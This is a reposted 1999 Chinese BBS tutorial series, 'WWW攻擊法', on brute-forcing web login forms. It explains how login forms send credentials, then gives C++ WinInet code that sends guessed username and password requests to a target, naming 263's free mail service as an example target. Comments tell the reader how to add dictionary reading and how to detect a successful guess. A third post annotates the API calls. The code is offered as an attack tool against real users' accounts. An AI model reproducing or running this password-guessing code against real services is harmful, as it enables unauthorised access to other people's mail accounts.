WWW攻擊法

 

WWW攻擊法

貼這篇文章之前
首先向spark說聲對不起
本來很早以前就想寫這篇文章的
可惜那時候剛好趕上換工作
好了
閒話少說,言歸正傳

這兒的WWW攻擊只限一般站點的攻擊
對於採用安全連接的站點還沒有試過
一個很好的實踐的目標就是各種支持WWW的免費郵件
如果你想用它來進入黃色站點
那也沒辦法 :)
一般的站點中
如果你想瀏覽某些需要授權的內容
首先要經過身份驗證這一步
就是讓你輸入用戶名、密碼
然後瀏覽器會根據HTML文件中FORM的定義
把這些信息發給服務器來驗證
一般的辦法是GET或POST
比如在263中
請看下面的263 HTML源代碼
     
        用戶名: @263.net 口令:  
如果點擊"請進吧!",瀏覽器會向服務器發送一下請求
POST /prog/login/?user=aaa@pass=bbb
既然知道了原理
那我們就可以模擬用戶點擊的過程

Welcome to NANKAIBBS發信人: bbb (九萬里風鵬路), 信區: SysSafe
標 題: WWW攻擊法(二)
發信站: 我愛南開站 (Wed Nov 3 08:45:57 1999), 轉信

微軟給我們提供了一套現成的API讓我們可以使用HTTP協議而不需通讀RFC文檔
現在
我們就可以發動進攻了
請看源程序
不想灌水
我把該程序中讀字典的部分和判斷攻擊是否成功的部分省掉了
但都作了註釋
const TCHAR szHeaders[] ="Accept: text/*/r/nUser-Agent: URLHacker/r/n";
//pServer是目標主機名
//cszPostData就是剩下的部分
//比如攻擊263的免費郵箱,那麼
//pServer="freemail.263.net"
//cszPostData="/prog/login?user=tom&pass=fuck"
//當然,你要先讀字典文件,讀取pass的值
void Attack(LPSTR pServer,LPSTR cszPostData)
{
    // Open Internet session.
    HINTERNET hSession = ::InternetOpen("URLHacker",
                INTERNET_OPEN_TYPE_PRECONFIG,
                NULL,
                INTERNET_INVALID_PORT_NUMBER,
                0) ;
    // Connect to dest.
    HINTERNET hConnect = ::InternetConnect(hSession,
                pServer,
                INTERNET_INVALID_PORT_NUMBER,
                "",
                "",
                INTERNET_SERVICE_HTTP,
                0,
                0) ;
    // Request the file from the server.
    HINTERNET hHttpFile = ::HttpOpenRequest(hConnect,
                "GET",
                cszPostData,
                HTTP_VERSION,
                NULL,
                0,
                INTERNET_FLAG_DONT_CACHE,
                0) ;
    // Add request headers
    BOOL bAddHeaders = ::HttpAddRequestHeaders(hConnect,szHeaders,lstrlen(szHea
ders),HTTP_ADDREQ_FLAG_ADD);
    // Send the request.
    BOOL bSendRequest = ::HttpSendRequest(hHttpFile, NULL, 0, 0, 0);
    // Get the length of the file.
    char szBuffer[80] ;
    DWORD dwLen = sizeof(szBuffer);
    DWORD dwIndex;
    BOOL bRet = HttpQueryInfo(hHttpFile, HTTP_QUERY_STATUS_CODE,
                szBuffer, &dwLen, NULL);
    DWORD dwRet;
    if (bRet)
          dwRet = (DWORD) atol(szBuffer);
    if (dwRet == HTTP_STATUS_DENIED){
    //這是另外一種驗證的辦法,和系統的用戶名、口令結合起來
    //InternetConnect中第3、4個參數就是用戶名和口令
    //下面怎麼做不用我說了吧
    }
    if (HttpQueryInfo(hHttpFile, HTTP_QUERY_RAW_HEADERS_CRLF, NULL, &dwLen, 0))

          bRet = TRUE;
    else
    {
          // now that we know how long it is, ask for exactly that much
          // space and really request the header from the API
          LPTSTR pstr = new TCHAR[dwLen];
          bRet = HttpQueryInfo(hHttpFile, HTTP_QUERY_RAW_HEADERS_CRLF, pstr, &dwLen,
&dwIndex);
          delete []pstr;
    }
    // were we redirected?
    // these response status codes come from WININET.H
    if (dwRet == HTTP_STATUS_MOVED ||
          dwRet == HTTP_STATUS_REDIRECT ||
          dwRet == HTTP_STATUS_REDIRECT_METHOD)
    {
    //被重定向到其它地址,需要重新連接到新的地址
    }
         
    // Convert length from ASCII string to a DWORD.
    // Allocate a buffer for the file.
    char* buffer = new char[dwLen+1] ;
    // Read the file into the buffer.
    DWORD dwBytesRead ;
    BOOL bRead = ::InternetReadFile(hHttpFile,
                    buffer,
                    dwLen+1,
                    &dwBytesRead);
    //可以在這兒根據讀到的內容判斷攻擊是否成功
    //怎麼?不會!
    //試一下手工猜口令,肯定給你一個出錯的畫面
    //如果讀到的內容中不包括那些錯誤信息,就又可能成功了
    delete [] buffer;
    ::InternetCloseHandle(hHttpFile);
    ::InternetCloseHandle(hConnect) ;
    ::InternetCloseHandle(hSession) ;
}

Welcome to NANKAIBBS發信人: bbb (九萬里風鵬路), 信區: SysSafe
標 題: WWW攻擊法(三)—註解
發信站: 我愛南開站 (Wed Nov 3 08:58:58 1999), 轉信

創建一個會話
HINTERNET hSession = ::InternetOpen(
        "URLHacker",//Agent名,隨便取
        INTERNET_OPEN_TYPE_PRECONFIG,//使用定義的連接方式
        NULL,
        INTERNET_INVALID_PORT_NUMBER,
        0) ;
連接到服務器
HINTERNET hConnect = ::InternetConnect(
        hSession,
        pServer,//服務器名
        INTERNET_INVALID_PORT_NUMBER,
        "",//用戶名
        "",//口令
        INTERNET_SERVICE_HTTP,//HTTP
        0,
        0);
向服務器發出請求
HINTERNET hHttpFile = ::HttpOpenRequest(hConnect,
        "GET",//可用GET或POST
          cszPostData,//對應於HTTP命令 GET cdzPostData
          HTTP_VERSION,
          NULL,
          0,
          INTERNET_FLAG_DONT_CACHE,
          0);
加一個請求頭,自我炫耀一下,hehe
BOOL bAddHeaders = ::HttpAddRequestHeaders(hConnect,szHeaders,lstrlen(szHead
ers),HTTP_ADDREQ_FLAG_ADD);
接下來,查詢該請求返回的信息,然後讀之。

 
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章